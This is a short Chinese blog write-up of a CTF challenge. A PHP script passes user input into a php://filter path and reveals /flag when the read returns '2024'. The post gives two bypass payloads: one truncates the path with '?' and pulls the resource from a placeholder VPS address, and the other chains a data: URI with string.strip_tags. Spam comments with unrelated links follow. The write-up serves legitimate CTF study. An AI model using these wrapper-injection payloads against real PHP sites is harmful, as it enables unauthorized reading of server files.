前言
因为一道题来学习一下
分析
<?php
highlight_file(__FILE__);
error_reporting(0);
$a=$_POST[1];
$b="php://filter/$a/resource=/dev/null";
if(file_get_contents($b)==="2024"){
echo file_get_contents('/flag');
}else{
echo $b;
}
源码如下,其实目的就是绕过/dev/null,然后还需要读出来的内容为2024
看wp有两种思路
思路一
因为后面很多脏数据,肯定是需要去除的,想到截断,这里第一种思路是?截断
payload如下:php://fileter/convert.base64-decode/resource=http://xxxx.xxx.xxx.xx/flag.php?
文件为vps上的文件
思路二
一个特性就是filter协议里面可以穿插data协议,我们data协议是可以写内容的,后面的脏数据我们可以使用filter的一个过滤器string.strip_tags过滤php和html的标签
paylaod如下:POST:1=|string.strip_tags|resource=data:,2024<
后面的<就是表示php内容,所以会去除掉
看的我热血沸腾啊
哈哈哈,写的太好了https://www.cscnn.com/
你的文章内容非常卖力,让人点赞。 http://www.55baobei.com/HxTQJUFSVM.html